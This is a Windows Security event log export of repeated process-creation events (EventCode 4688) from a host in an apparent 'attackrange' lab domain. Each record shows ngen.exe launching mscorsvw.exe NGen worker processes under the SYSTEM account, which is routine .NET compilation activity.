	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6f4 -InterruptEvent 0 -NGENProcess 684 -Pipe 6ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255065
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 710 -Pipe 6d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255064
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 704 -InterruptEvent 0 -NGENProcess 6dc -Pipe 718 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255063
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 6dc -Pipe 67c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255069
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 70c -InterruptEvent 0 -NGENProcess 720 -Pipe 5fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:19 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255070
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x910
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 72c -InterruptEvent 0 -NGENProcess 6d4 -Pipe 6e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255071
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d8 -InterruptEvent 0 -NGENProcess 694 -Pipe 6fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 730 -Pipe 740 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255072
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 6d4 -Pipe 72c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 730 -InterruptEvent 0 -NGENProcess 6bc -Pipe 748 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 6d8 -Pipe 734 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255081
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 74c -InterruptEvent 0 -NGENProcess 6c0 -Pipe 6dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255080
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 728 -InterruptEvent 0 -NGENProcess 73c -Pipe 6b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255079
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 704 -Pipe 710 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255078
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6dc -InterruptEvent 0 -NGENProcess 754 -Pipe 768 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255077
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 738 -InterruptEvent 0 -NGENProcess 758 -Pipe 65c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:25 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255076
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6b4 -Pipe 6a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255084
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9a4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 750 -Pipe 728 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255083
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6bc -InterruptEvent 0 -NGENProcess 70c -Pipe 6d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

